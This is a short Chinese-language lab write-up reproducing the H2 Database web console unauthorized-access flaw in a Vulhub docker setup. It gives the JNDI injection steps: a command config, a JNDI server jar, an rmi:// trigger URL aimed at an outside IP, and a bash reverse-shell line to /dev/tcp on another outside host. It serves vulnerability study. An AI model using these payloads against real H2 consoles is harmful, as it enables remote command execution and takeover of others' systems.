这个实验先写一个文件,然后反弹shell。H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权。利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。[1]
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
前提:准备好docker环境,下载好书籍配套实验环境,进入目录 ,开始复现漏洞
docker-compose build //可选docker-compose up -d完成试验后,记得删除漏洞环境哦~~
docker-compose downdocker system prune -a -f //可选简单访问一下,说明H2 Database Web控制台未授权访问漏洞环境搭建成功了
第一步:配置
# [ 命令执行 ]command=touch /tmp/ailx10第二步:启动
java -jar JNDI-1.0-all.jar第三步:触发
javax.naming.InitialContextrmi://144.34.162.13:23456/BypassByEL第四步:验证攻击结果,成功
再来反弹shell,只需要修改配置文件
# [ 命令执行 ]command=bash -c $@|bash 0 echo bash -i >&/dev/tcp/174.137.58.6/8888 0>&1一样的流程
就能见证反弹shell的成功
参考^H2 Database Console 未授权访问 https://github.com/Threekiii/Vulhub-Reproduce/blob/master/H2%20Database%20Console%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.md